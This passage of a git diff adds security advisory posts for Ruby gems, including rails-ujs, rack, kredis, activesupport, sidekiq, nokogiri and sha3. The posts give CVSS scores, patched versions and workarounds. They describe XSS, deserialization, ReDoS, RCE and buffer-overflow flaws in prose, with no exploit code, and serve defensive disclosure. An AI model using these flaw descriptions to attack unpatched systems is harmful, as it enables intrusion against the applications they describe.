+      If the specified malicious HTML clipboard content is provided to a
+      contenteditable element, this could result in the arbitrary execution
+      of javascript on the origin in question.
+
+    Releases
+      The FIXED releases are available at the normal locations.
+
+    Workarounds
+      We recommend that all users upgrade to one of the FIXED versions.
+      In the meantime, users can attempt to mitigate this vulnerability
+      by removing the contenteditable attribute from elements in pages
+      that rails-ujs will interact with.
+
+    Patches
+      To aid users who aren’t able to upgrade immediately we have provided
+      patches for the two supported release series. They are in git-am
+      format and consist of a single changeset.
+
+    * rails-ujs-data-method-contenteditable-6-1.patch - Patch for 6.1 series
+    * rails-ujs-data-method-contenteditable-7-0.patch - Patch for 7.0 series
+
+    Please note that only the 7.0.Z and 6.1.Z series are
+    supported at present, and 6.0.Z for severe vulnerabilities.
+
+    Users of earlier unsupported releases are advised to upgrade as
+    soon as possible as we cannot guarantee the continued availability
+    of security fixes for unsupported releases.
+
+    Credits
+      We would like to thank ryotak 15 for reporting this!
+
+    * rails-ujs-data-method-contenteditable-6-1.patch (8.5 KB)
+    * rails-ujs-data-method-contenteditable-7-0.patch (8.5 KB)
+    * rails-ujs-data-method-contenteditable-main.patch (8.9 KB)
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 5.1.0"
+  patched_versions:
+  - "~> 6.1.7.3"
+  - ">= 7.0.4.3"
+  related:
+    url:
+    - https://discuss.rubyonrails.org/t/cve-2023-23913-dom-based-cross-site-scripting-in-rails-ujs-for-contenteditable-html-elements/82468
+    - https://www.cve.org/CVERecord?id=CVE-2023-23913
+    - https://vulmon.com/vendoradvisory?qidtp=debian_cvelist_bugreportlogs&qid=aa67066c383f12dee5aee964667de4d8
+    - https://access.redhat.com/security/cve/cve-2023-23913
+    - https://bugzilla.redhat.com/show_bug.cgi?id=2182160
+    - https://security.snyk.io/vuln/SNYK-RUBY-RAILS-5291540
+    - https://www.suse.com/security/cve/CVE-2023-23913.html
+    - https://security-tracker.debian.org/tracker/CVE-2023-23913
+    - https://www.mend.io/vulnerability-database/CVE-2023-23913
+    - https://github.com/jasnow/gsd-database/blob/main/2023/23xxx/GSD-2023-23913.json
+  notes: CVE has been reserved, but not filled out.
+---
diff --git a/advisories/_posts/2023-03-13-CVE-2023-27531.md b/advisories/_posts/2023-03-13-CVE-2023-27531.md
new file mode 100644
index 00000000..26ad4d72
--- /dev/null
+++ b/advisories/_posts/2023-03-13-CVE-2023-27531.md
@@ -0,0 +1,58 @@
+---
+layout: advisory
+title: 'CVE-2023-27531 (kredis): Possible Deserialization of Untrusted Data Vulnerability
+  in Kredis JSON'
+comments: false
+categories:
+- kredis
+- rails
+advisory:
+  gem: kredis
+  framework: rails
+  cve: 2023-27531
+  notes: CVE has be reserved, but not filled in.
+  ghsa: h2wm-p2vg-6pw4
+  url: https://discuss.rubyonrails.org/t/cve-2023-27531-possible-deserialization-of-untrusted-data-vulnerability-in-kredis-json/82467#post_1
+  title: Possible Deserialization of Untrusted Data Vulnerability in Kredis JSON
+  date: 2023-03-13
+  description: |
+    There is a deserialization of untrusted data vulnerability in
+    the Kredis JSON deserialization code. This vulnerability has
+    been assigned the CVE identifier CVE-2023-27531.
+
+    'Not affected: None.'
+    'Versions Affected: All.'
+    'Fixed Versions: 1.3.0.1'
+
+    Impact
+      Carefully crafted JSON data processed by Kredis may result in
+      deserialization of untrusted data, potentially leading to
+      deserialization of unexpected objects in the system.
+
+      Any applications using Kredis with JSON are affected.
+
+    Releases
+      The fixed releases are available at the normal locations.
+
+    Workarounds
+      There are no feasible workarounds for this issue.
+
+    Patches
+      To aid users who aren’t able to upgrade immediately we have
+      provided patches for the two supported release series. They
+      are in git-am format and consist of a single changeset.
+
+      * 1-3-0-1-kredis.patch - Patch for 1.3.0 series
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 1.3.0.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-27531
+    - https://discuss.rubyonrails.org/t/cve-2023-27531-possible-deserialization-of-untrusted-data-vulnerability-in-kredis-json/82467#post_1
+    - https://github.com/rails/kredis/releases/tag/v1.3.0.1
+    - https://my.diffend.io/gems/kredis/1.3.0/1.3.0.1
+    - https://cve.report/CVE-2023-27531
+    - https://github.com/jasnow/gsd-database/blob/main/2023/27xxx/GSD-2023-27531.json
+    - https://github.com/advisories/GHSA-h2wm-p2vg-6pw4
+---
diff --git a/advisories/_posts/2023-03-13-CVE-2023-27539.md b/advisories/_posts/2023-03-13-CVE-2023-27539.md
new file mode 100644
index 00000000..45b17e34
--- /dev/null
+++ b/advisories/_posts/2023-03-13-CVE-2023-27539.md
@@ -0,0 +1,28 @@
+---
+layout: advisory
+title: 'CVE-2023-27539 (rack): Possible Denial of Service Vulnerability in Rack’s
+  header parsing'
+comments: false
+categories:
+- rack
+advisory:
+  gem: rack
+  cve: 2023-27539
+  ghsa: c6qg-cjj8-47qp
+  url: https://discuss.rubyonrails.org/t/cve-2023-27539-possible-denial-of-service-vulnerability-in-racks-header-parsing/82466
+  title: Possible Denial of Service Vulnerability in Rack’s header parsing
+  date: 2023-03-13
+  description: |
+    There is a denial of service vulnerability in the header parsing component of Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27539.
+
+    Versions Affected: >= 2.0.0 Not affected: None. Fixed Versions: 2.2.6.4, 3.0.6.1
+
+    # Impact
+    Carefully crafted input can cause header parsing in Rack to take an unexpected amount of time, possibly resulting in a denial of service attack vector. Any applications that parse headers using Rack (virtually all Rails applications) are impacted.
+
+    # Workarounds
+    Setting Regexp.timeout in Ruby 3.2 is a possible workaround.
+  patched_versions:
+  - "~> 2.0, >= 2.2.6.4"
+  - ">= 3.0.6.1"
+---
diff --git a/advisories/_posts/2023-03-13-CVE-2023-28120.md b/advisories/_posts/2023-03-13-CVE-2023-28120.md
new file mode 100644
index 00000000..24fad6e3
--- /dev/null
+++ b/advisories/_posts/2023-03-13-CVE-2023-28120.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2023-28120 (activesupport): Possible XSS Security Vulnerability in SafeBuffer#bytesplice'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+  gem: activesupport
+  framework: rails
+  cve: 2023-28120
+  ghsa: pj73-v5mw-pm9j
+  url: https://discuss.rubyonrails.org/t/cve-2023-28120-possible-xss-security-vulnerability-in-safebuffer-bytesplice/82469
+  title: Possible XSS Security Vulnerability in SafeBuffer#bytesplice
+  date: 2023-03-13
+  description: |
+    There is a vulnerability in ActiveSupport if the new bytesplice method is called on a SafeBuffer with untrusted user input.
+    This vulnerability has been assigned the CVE identifier CVE-2023-28120.
+
+    Versions Affected: All. Not affected: None Fixed Versions: 7.0.4.3, 6.1.7.3
+
+    # Impact
+
+    ActiveSupport uses the SafeBuffer string subclass to tag strings as html_safe after they have been sanitized.
+    When these strings are mutated, the tag is should be removed to mark them as no longer being html_safe.
+
+    Ruby 3.2 introduced a new bytesplice method which ActiveSupport did not yet understand to be a mutation.
+    Users on older versions of Ruby are likely unaffected.
+
+    All users running an affected release and using bytesplice should either upgrade or use one of the workarounds immediately.
+
+    # Workarounds
+
+    Avoid calling bytesplice on a SafeBuffer (html_safe) string with untrusted user input.
+  cvss_v3: 5.3
+  patched_versions:
+  - "~> 6.1.7, >= 6.1.7.3"
+  - ">= 7.0.4.3"
+---
diff --git a/advisories/_posts/2023-03-27-CVE-2023-28102.md b/advisories/_posts/2023-03-27-CVE-2023-28102.md
new file mode 100644
index 00000000..4df0b0b4
--- /dev/null
+++ b/advisories/_posts/2023-03-27-CVE-2023-28102.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2023-28102 (discordrb): GHSL-2022-094: Remote Code Execution in discordrb'
+comments: false
+categories:
+- discordrb
+advisory:
+  gem: discordrb
+  cve: 2023-28102
+  ghsa: 8832-4mm5-x2r6
+  url: https://securitylab.github.com/advisories/GHSL-2022-094_discordrb
+  title: 'GHSL-2022-094: Remote Code Execution in discordrb'
+  date: 2023-03-27
+  description: |
+    The encode_file method may lead to remote code execution
+     (RCE) if invoked with untrusted user-controlled data.
+  cvss_v3: 9.6
+  patched_versions:
+  - ">= 3.4.3"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-28102
+    - https://securitylab.github.com/advisories/GHSL-2022-094_discordrb
+    - https://github.com/shardlab/discordrb/commit/91e13043ffa89227c3fcdc3408f06da237d28c95
+    - https://rubygems.org/gems/discordrb
+    - https://github.com/advisories/GHSA-8832-4mm5-x2r6
+---
diff --git a/advisories/_posts/2023-03-30-CVE-2023-28846.md b/advisories/_posts/2023-03-30-CVE-2023-28846.md
new file mode 100644
index 00000000..3492e23f
--- /dev/null
+++ b/advisories/_posts/2023-03-30-CVE-2023-28846.md
@@ -0,0 +1,74 @@
+---
+layout: advisory
+title: 'CVE-2023-28846 (unpoly-rails): unpoly-rails Denial of Service vulnerability'
+comments: false
+categories:
+- unpoly-rails
+advisory:
+  gem: unpoly-rails
+  cve: 2023-28846
+  ghsa: m875-3xf6-mf78
+  url: https://github.com/unpoly/unpoly-rails/security/advisories/GHSA-m875-3xf6-mf78
+  title: unpoly-rails Denial of Service vulnerability
+  date: 2023-03-30
+  description: |
+    There is a possible Denial of Service (DoS) vulnerability in the unpoly-rails
+    gem that implements the [Unpoly server protocol](https://unpoly.com/up.protocol)
+    for Rails applications.
+
+    ### Impact
+
+    This issues affects Rails applications
+    that operate as an upstream of a load balancer's that uses [passive health
+    checks](https://docs.nginx.com/nginx/admin-guide/load-balancer/http-health-check/#passive-health-checks).
+
+    The [unpoly-rails](https://github.com/unpoly/unpoly-rails/) gem echoes the request URL
+    as an `X-Up-Location` response header. By making a request with exceedingly long
+    URLs (paths or query string), an attacker can cause unpoly-rails to write a exceedingly
+    large response header.
+
+    If the response header is too large to be parsed by a load balancer downstream
+    of the Rails application, it may cause the load balancer to remove the upstream
+    from a load balancing group. This causes that application instance to become
+    unavailable until a configured timeout is reached or until an active healthcheck
+    succeeds.
+
+    ### Workarounds
+
+    If you cannot upgrade to a fixed release, several workarounds are available:
+
+    - Configure your load balancer to
+      use active health checks, e.g. by periodically requesting a route with a known response
+      that indicates healthiness.
+    - Configure your load balancer so the [maximum size
+      of response headers](https://makandracards.com/operations/537537-nginx-proxy-buffer-tuning)
+      is at least twice the [maximum size of a URL](https://tryhexadecimal.com/guides/http/414-request-uri-too-long).
+    - Instead of changing your server configuration you may also configure your Rails
+      application to delete redundant `X-Up-Location` headers set by unpoly-rails:
+
+      ```ruby
+      class ApplicationController < ActionController::Base
+
+        after_action :remove_redundant_up_location_header
+
+        private
+
+        def remove_redundant_up_location_header
+          if request.original_url == response.headers['X-Up-Location']
+            response.headers.delete('X-Up-Location')
+          end
+        end
+
+      end
+    ```
+  cvss_v3: 5.9
+  patched_versions:
+  - ">= 2.7.2.2"
+  related:
+    url:
+    - https://github.com/unpoly/unpoly-rails/commit/cd9ad0007daceeb3b2354fdcab4f88350427bf16
+    - https://docs.nginx.com/nginx/admin-guide/load-balancer/http-health-check/#passive-health-checks
+    - https://makandracards.com/operations/537537-nginx-proxy-buffer-tuning
+    - https://tryhexadecimal.com/guides/http/414-request-uri-too-long
+    - https://unpoly.com/up.protocol
+---
diff --git a/advisories/_posts/2023-03-31-CVE-2023-28755.md b/advisories/_posts/2023-03-31-CVE-2023-28755.md
new file mode 100644
index 00000000..96cc0be5
--- /dev/null
+++ b/advisories/_posts/2023-03-31-CVE-2023-28755.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2023-28755 (uri): Ruby URI component ReDoS issue'
+comments: false
+categories:
+- uri
+advisory:
+  gem: uri
+  cve: 2023-28755
+  ghsa: hv5j-3h9f-99c2
+  url: https://github.com/advisories/GHSA-hv5j-3h9f-99c2
+  title: Ruby URI component ReDoS issue
+  date: 2023-03-31
+  description: |
+    A ReDoS issue was discovered in the URI component through 0.12.0 in
+    Ruby through 3.2.1. The URI parser mishandles invalid URLs that have
+    specific characters. It causes an increase in execution time for parsing
+    strings to URI objects. The fixed versions are 0.12.1, 0.11.1,
+    0.10.2 and 0.10.0.1.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 0.10.0.1"
+  - "~> 0.10.2"
+  - "~> 0.11.1"
+  - ">= 0.12.1"
+---
diff --git a/advisories/_posts/2023-03-31-CVE-2023-28756.md b/advisories/_posts/2023-03-31-CVE-2023-28756.md
new file mode 100644
index 00000000..5ec62734
--- /dev/null
+++ b/advisories/_posts/2023-03-31-CVE-2023-28756.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2023-28756 (time): Ruby Time component ReDos issue'
+comments: false
+categories:
+- time
+advisory:
+  gem: time
+  cve: 2023-28756
+  ghsa: fg7x-g82r-94qc
+  url: https://www.ruby-lang.org/en/news/2023/03/30/redos-in-time-cve-2023-28756/
+  title: Ruby Time component ReDos issue
+  date: 2023-03-31
+  description: |
+    A ReDoS issue was discovered in the Time component through 0.2.1 in Ruby
+    through 3.2.1. The Time parser mishandles invalid URLs that have specific characters.
+    It causes an increase in execution time for parsing strings to Time objects. The
+    fixed versions are 0.1.1 and 0.2.2.
+  cvss_v3: 7.5
+  patched_versions:
+  - "~> 0.1.1"
+  - ">= 0.2.2"
+  related:
+    url:
+    - https://www.ruby-lang.org/en/news/2022/12/25/ruby-3-2-0-released/
+---
diff --git a/advisories/_posts/2023-03-31-GHSA-48wp-p9qv-4j64.md b/advisories/_posts/2023-03-31-GHSA-48wp-p9qv-4j64.md
new file mode 100644
index 00000000..c324f643
--- /dev/null
+++ b/advisories/_posts/2023-03-31-GHSA-48wp-p9qv-4j64.md
@@ -0,0 +1,51 @@
+---
+layout: advisory
+title: 'GHSA-48wp-p9qv-4j64 (commonmarker): Commonmarker vulnerable to to several
+  quadratic complexity bugs that may lead to denial of service'
+comments: false
+categories:
+- commonmarker
+advisory:
+  gem: commonmarker
+  ghsa: 48wp-p9qv-4j64
+  url: https://github.com/gjtorikian/commonmarker/releases/tag/v0.23.9
+  title: Commonmarker vulnerable to to several quadratic complexity bugs that may
+    lead to denial of service
+  date: 2023-03-31
+  description: |
+    ## Impact
+
+    Several quadratic complexity bugs in commonmarker's underlying
+    cmark-gfm library may lead to unbounded resource exhaustion and
+    subsequent denial of service.
+
+    The following vulnerabilities were addressed:
+    * CVE-2023-24824
+    * CVE-2023-26485
+
+    For more information, consult the release notes for versions
+    0.23.0.gfm.10 and 0.23.0.gfm.11.
+
+    ## Mitigation
+
+    Users are advised to upgrade to commonmarker version 0.23.9
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 0.23.9"
+  related:
+    cve:
+    - 2023-24824
+    - 2023-26485
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-24824
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-26485
+    - https://github.com/gjtorikian/commonmarker/pull/236
+    - https://rubygems.org/gems/commonmarker/versions/0.23.9
+    - https://github.com/gjtorikian/commonmarker/releases/tag/v0.23.9
+    - https://github.com/gjtorikian/commonmarker/security/advisories/GHSA-48wp-p9qv-4j64
+    - https://github.com/github/cmark-gfm/commit/2300c1bd2c8226108885bf019655c4159cf26b59
+    - https://github.com/github/cmark-gfm/security/advisories/GHSA-66g8-4hjf-77xh
+    - https://github.com/github/cmark-gfm/security/advisories/GHSA-r8vr-c48j-fcc5
+    - https://github.com/github/cmark-gfm/releases/tag/0.29.0.gfm.10
+    - https://github.com/github/cmark-gfm/releases/tag/0.29.0.gfm.11
+---
diff --git a/advisories/_posts/2023-04-04-CVE-2020-21514.md b/advisories/_posts/2023-04-04-CVE-2020-21514.md
new file mode 100644
index 00000000..d907d74b
--- /dev/null
+++ b/advisories/_posts/2023-04-04-CVE-2020-21514.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2020-21514 (fluentd-ui): Fluent Fluentd and Fluent-ui use default password'
+comments: false
+categories:
+- fluentd-ui
+advisory:
+  gem: fluentd-ui
+  cve: 2020-21514
+  ghsa: wrxf-x8rm-6ggg
+  url: https://github.com/advisories/GHSA-wrxf-x8rm-6ggg
+  title: Fluent Fluentd and Fluent-ui use default password
+  date: 2023-04-04
+  description: |
+    An issue was discovered in Fluent Fluentd v.1.8.0 and Fluent-ui v.1.2.2
+    that allows attackers to gain escilated privileges and execute arbitrary code due
+    to use of a default password.
+  cvss_v3: 8.8
+  notes: Never patched
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-21514
+    - https://github.com/fluent/fluentd-ui/issues/295
+    - https://github.com/advisories/GHSA-wrxf-x8rm-6ggg
+---
diff --git a/advisories/_posts/2023-04-11-CVE-2024-22048.md b/advisories/_posts/2023-04-11-CVE-2024-22048.md
new file mode 100644
index 00000000..cada32d3
--- /dev/null
+++ b/advisories/_posts/2023-04-11-CVE-2024-22048.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2024-22048 (govuk_tech_docs): govuk_tech_docs vulnerable to unescaped
+  HTML on search results page'
+comments: false
+categories:
+- govuk_tech_docs
+advisory:
+  gem: govuk_tech_docs
+  cve: 2024-22048
+  ghsa: x2xw-hw8g-6773
+  url: https://github.com/alphagov/tech-docs-gem/security/advisories/GHSA-x2xw-hw8g-6773
+  title: govuk_tech_docs vulnerable to unescaped HTML on search results page
+  date: 2023-04-11
+  description: |2
+
+    ### Impact
+
+    Pages that are indexed in search results have their entire contents
+    indexed, including any HTML code snippets. These HTML snippets would
+    appear in the search results unsanitised, so it was possible to
+    render arbitrary HTML or run arbitrary scripts.
+
+    This is a low risk security issue; to exploit it, an attacker would
+    need to find a way of committing malicious code to a page indexed
+    by a site that uses tech-docs-gem (which are typically not editable
+    by untrusted users). Their code would also be limited by the relatively
+    short length that's rendered in the corresponding search result.
+    Nevertheless, the XSS would then be triggerable by visiting a
+    pre-constructed URL (/search/index.html?q=some+search+term), which
+    users could be tricked into clicking on through social engineering.
+
+    ### Patches
+
+    This has been fixed in v3.3.1. HTML is now sanitised in search results.
+  unaffected_versions:
+  - "< 2.0.2"
+  patched_versions:
+  - ">= 3.3.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-22048
+    - https://github.com/alphagov/tech-docs-gem/security/advisories/GHSA-x2xw-hw8g-6773
+    - https://github.com/alphagov/tech-docs-gem/releases/tag/v3.3.1
+    - https://github.com/alphagov/tech-docs-gem/pull/323
+    - https://github.com/advisories/GHSA-x2xw-hw8g-6773
+---
diff --git a/advisories/_posts/2023-04-11-GHSA-pxvg-2qj5-37jq.md b/advisories/_posts/2023-04-11-GHSA-pxvg-2qj5-37jq.md
new file mode 100644
index 00000000..69f9d025
--- /dev/null
+++ b/advisories/_posts/2023-04-11-GHSA-pxvg-2qj5-37jq.md
@@ -0,0 +1,62 @@
+---
+layout: advisory
+title: 'GHSA-pxvg-2qj5-37jq (nokogiri): Update packaged libxml2 to v2.10.4 to resolve
+  multiple CVEs'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: pxvg-2qj5-37jq
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-pxvg-2qj5-37jq
+  title: Update packaged libxml2 to v2.10.4 to resolve multiple CVEs
+  date: 2023-04-11
+  description: |
+    ### Summary
+
+    Nokogiri v1.14.3 upgrades the packaged version of its dependency libxml2 to
+    [v2.10.4](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.10.4) from v2.10.3.
+
+    libxml2 v2.10.4 addresses the following known vulnerabilities:
+
+    - [CVE-2023-29469](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29469): Hashing of
+      empty dict strings isn't deterministic
+    - [CVE-2023-28484](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-28484): Fix null deref
+      in xmlSchemaFixupComplexType
+    - Schemas: Fix null-pointer-deref in xmlSchemaCheckCOSSTDerivedOK
+
+    Please note that this advisory only applies to the CRuby implementation of Nokogiri `< 1.14.3`,
+    and only if the _packaged_ libraries are being used. If you've overridden defaults at installation
+    time to use _system_ libraries instead of packaged libraries, you should instead pay attention to
+    your distro's `libxml2` release announcements.
+
+
+    ### Mitigation
+
+    Upgrade to Nokogiri `>= 1.14.3`.
+
+    Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation: compile
+    and link Nokogiri against external libraries libxml2 `>= 2.10.4` which will also address these
+    same issues.
+
+
+    ### Impact
+
+    No public information has yet been published about the security-related issues other than the
+    upstream commits. Examination of those changesets indicate that the more serious issues relate to
+    libxml2 dereferencing NULL pointers and potentially segfaulting while parsing untrusted inputs.
+
+    The commits can be examined at:
+
+    - [\[CVE-2023-29469\] Hashing of empty dict strings isn't deterministic (09a2dd45)](https://gitlab.gnome.org/GNOME/libxml2/-/commit/09a2dd453007f9c7205274623acdd73747c22d64)
+    - [\[CVE-2023-28484\] Fix null deref in xmlSchemaFixupComplexType (647e072e)](https://gitlab.gnome.org/GNOME/libxml2/-/commit/647e072ea0a2f12687fa05c172f4c4713fdb0c4f)
+    - [schemas: Fix null-pointer-deref in xmlSchemaCheckCOSSTDerivedOK (4c6922f7)](https://gitlab.gnome.org/GNOME/libxml2/-/commit/4c6922f763ad958c48ff66f82823ae21f2e92ee6)
+  patched_versions:
+  - ">= 1.14.3"
+  related:
+    url:
+    - https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.10.4
+    cve:
+    - 2023-29469
+    - 2023-28484
+---
diff --git a/advisories/_posts/2023-04-11-GHSA-x2xw-hw8g-6773.md b/advisories/_posts/2023-04-11-GHSA-x2xw-hw8g-6773.md
new file mode 100644
index 00000000..e414a9f9
--- /dev/null
+++ b/advisories/_posts/2023-04-11-GHSA-x2xw-hw8g-6773.md
@@ -0,0 +1,42 @@
+---
+layout: advisory
+title: 'GHSA-x2xw-hw8g-6773 (govuk_tech_docs): govuk_tech_docs vulnerable to unescaped
+  HTML on search results page'
+comments: false
+categories:
+- govuk_tech_docs
+advisory:
+  gem: govuk_tech_docs
+  ghsa: x2xw-hw8g-6773
+  url: https://github.com/alphagov/tech-docs-gem/security/advisories/GHSA-x2xw-hw8g-6773
+  title: govuk_tech_docs vulnerable to unescaped HTML on search results page
+  date: 2023-04-11
+  description: |
+    Impact
+      Pages that are indexed in search results have their entire contents
+      indexed, including any HTML code snippets. These HTML snippets would
+      appear in the search results unsanitised, so it was possible to render
+      arbitrary HTML or run arbitrary scripts.
+
+      This is a low risk security issue; to exploit it, an attacker would
+      need to find a way of committing malicious code to a page indexed by
+      a site that uses tech-docs-gem (which are typically not editable by
+      untrusted users). Their code would also be limited by the relatively
+      short length that's rendered in the corresponding search result.
+      Nevertheless, the XSS would then be triggerable by visiting a
+      pre-constructed URL (/search/index.html?q=some+search+term), which
+      users could be tricked into clicking on through social engineering.
+
+    Patches
+      This has been fixed in v3.3.1. HTML is now sanitised in search results.
+  unaffected_versions:
+  - "< 2.0.2"
+  patched_versions:
+  - ">= 3.3.1"
+  related:
+    url:
+    - https://github.com/alphagov/tech-docs-gem/security/advisories/GHSA-x2xw-hw8g-6773
+    - https://github.com/alphagov/tech-docs-gem/pull/323
+    - https://github.com/alphagov/tech-docs-gem/releases/tag/v3.3.1
+    - https://github.com/advisories/GHSA-x2xw-hw8g-6773
+---
diff --git a/advisories/_posts/2023-04-20-CVE-2023-30614.md b/advisories/_posts/2023-04-20-CVE-2023-30614.md
new file mode 100644
index 00000000..aa867b12
--- /dev/null
+++ b/advisories/_posts/2023-04-20-CVE-2023-30614.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2023-30614 (pay): Improper Neutralization of Script-Related HTML Tags
+  in a Web Page (Basic XSS) in Pay'
+comments: false
+categories:
+- pay
+advisory:
+  gem: pay
+  cve: 2023-30614
+  ghsa: cqf3-vpx7-rxhw
+  url: https://github.com/pay-rails/pay/security/advisories/GHSA-cqf3-vpx7-rxhw
+  title: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic
+    XSS) in Pay
+  date: 2023-04-20
+  description: |
+    Impact
+      A payments info page of Pay is susceptible to reflected Cross-site
+      scripting. An attacker could create a working URL that renders a
+      javascript link to a user on a Rails application that integrates
+      Pay. This URL could be distributed via email to specifically target
+      certain individuals. If the targeted application contains a
+      functionality to submit user-generated content (such as comments)
+      the attacker could even distribute the URL using that functionality.
+    Patches
+      This has been patched in version 6.3.2 and above.
+      Pay will now sanitize the `back` parameter and only permit relative paths.
+  cvss_v3: 7.1
+  patched_versions:
+  - ">= 6.3.2"
+  related:
+    url:
+    - https://github.com/pay-rails/pay/security/advisories/GHSA-cqf3-vpx7-rxhw
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-30614
+    - https://github.com/pay-rails/pay/commit/5d6283a24062bd272a524ec48415f536a67ad57f
+    - https://github.com/pay-rails/pay/commit/c067771d8c7514acde4b948b474caf054bb0e25d
+    - https://github.com/advisories/GHSA-cqf3-vpx7-rxhw
+---
diff --git a/advisories/_posts/2023-04-21-CVE-2023-1892.md b/advisories/_posts/2023-04-21-CVE-2023-1892.md
new file mode 100644
index 00000000..a4e282d6
--- /dev/null
+++ b/advisories/_posts/2023-04-21-CVE-2023-1892.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2023-1892 (sidekiq): sidekiq vulnerable to cross-site scripting'
+comments: false
+categories:
+- sidekiq
+advisory:
+  gem: sidekiq
+  cve: 2023-1892
+  ghsa: h3r8-h5qw-4r35
+  url: https://github.com/sidekiq/sidekiq/commit/458fdf74176a9881478c48dc5cf0269107b22214
+  title: sidekiq vulnerable to cross-site scripting
+  date: 2023-04-21
+  description: |
+    sidekiq from 7.0.4 to 7.0.7 is vulnerable to reflected cross-site scripting.
+    A fix was released in version 7.0.8.
+  cvss_v3: 8.3
+  unaffected_versions:
+  - "< 7.0.4"
+  patched_versions:
+  - ">= 7.0.8"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-1892
+    - https://github.com/sidekiq/sidekiq/commit/458fdf74176a9881478c48dc5cf0269107b22214
+    - https://huntr.dev/bounties/e35e5653-c429-4fb8-94a3-cbc123ae4777
+    - https://github.com/sidekiq/sidekiq/blob/main/Changes.md#708
+    - https://github.com/advisories/GHSA-h3r8-h5qw-4r35
+---
diff --git a/advisories/_posts/2023-04-24-CVE-2023-30618.md b/advisories/_posts/2023-04-24-CVE-2023-30618.md
new file mode 100644
index 00000000..7b547999
--- /dev/null
+++ b/advisories/_posts/2023-04-24-CVE-2023-30618.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2023-30618 (kitchen-terraform): Sensitive Terraform Output Values Printed
+  At Info Logging Level In Kitchen-Terraform'
+comments: false
+categories:
+- kitchen-terraform
+advisory:
+  gem: kitchen-terraform
+  cve: 2023-30618
+  ghsa: 65g2-x53q-cmf6
+  url: https://github.com/newcontext-oss/kitchen-terraform/security/advisories/GHSA-65g2-x53q-cmf6
+  title: Sensitive Terraform Output Values Printed At Info Logging Level In Kitchen-Terraform
+  date: 2023-04-24
+  description: |
+    Summary
+      Kitchen-Terraform v7.0.0 introduced a regression which caused all
+      Terraform output values, including sensitive values, to be printed
+      at the `info` logging level during the `kitchen converge` action.
+      Prior to v7.0.0, the output values were printed at the `debug` level
+      to avoid writing sensitive values to the terminal by default.
+
+    ### Original Report
+      @brettcurtis:
+        Hopefully, I'm not doing something stupid here, but I'm seeing
+        sensitive outputs printed in the kitchen output. You can check
+        this action for an example: https://github.com/osinfra-io/terraform-google-project/actions/runs/4700065515/jobs/8334277309#step:5:215
+
+        It's not really a sensitive value just used it as an example.
+  cvss_v3: 3.2
+  unaffected_versions:
+  - "< 7.0.0"
+  patched_versions:
+  - ">= 7.0.1"
+  related:
+    url:
+    - https://github.com/newcontext-oss/kitchen-terraform/security/advisories/GHSA-65g2-x53q-cmf6
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-30618
+    - https://github.com/newcontext-oss/kitchen-terraform/commit/3d20d60e7a891e2dd747df995a31226fa0b4ac48
+    - https://github.com/advisories/GHSA-65g2-x53q-cmf6
+---
diff --git a/advisories/_posts/2023-04-26-CVE-2022-37454.md b/advisories/_posts/2023-04-26-CVE-2022-37454.md
new file mode 100644
index 00000000..a37f3229
--- /dev/null
+++ b/advisories/_posts/2023-04-26-CVE-2022-37454.md
@@ -0,0 +1,55 @@
+---
+layout: advisory
+title: 'CVE-2022-37454 (sha3): Buffer overflow in sponge queue functions'
+comments: false
+categories:
+- sha3
+advisory:
+  gem: sha3
+  cve: 2022-37454
+  ghsa: 6w4m-2xhg-2658
+  url: https://github.com/XKCP/XKCP/security/advisories/GHSA-6w4m-2xhg-2658
+  title: Buffer overflow in sponge queue functions
+  date: 2023-04-26
+  description: |
+    Impact
+      The Keccak sponge function interface accepts partial inputs to be
+      absorbed and partial outputs to be squeezed. A buffer can overflow
+      when partial data with some specific sizes are queued, where at
+      least one of them has a length of 2^32 - 200 bytes or more.
+    Patches
+      Yes, see commit [fdc6fef0](https://github.com/XKCP/XKCP/commit/fdc6fef075f4e81d6b1bc38364248975e08e340a).
+    Workarounds
+      The problem can be avoided by limiting the size of the partial
+      input data (or partial output digest) below 2^32 - 200 bytes.
+      Multiple calls to the queue system can be chained at a higher
+      level to retain the original functionality. Alternatively, one
+      can process the entire input (or produce the entire output) at
+      once, avoiding the queuing functions altogether.
+    References
+      See [issue #105](https://github.com/XKCP/XKCP/issues/105) for more details.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 1.0.5"
+  related:
+    url:
+    - https://github.com/XKCP/XKCP/security/advisories/GHSA-6w4m-2xhg-2658
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-37454
+    - https://github.com/XKCP/XKCP/issues/105
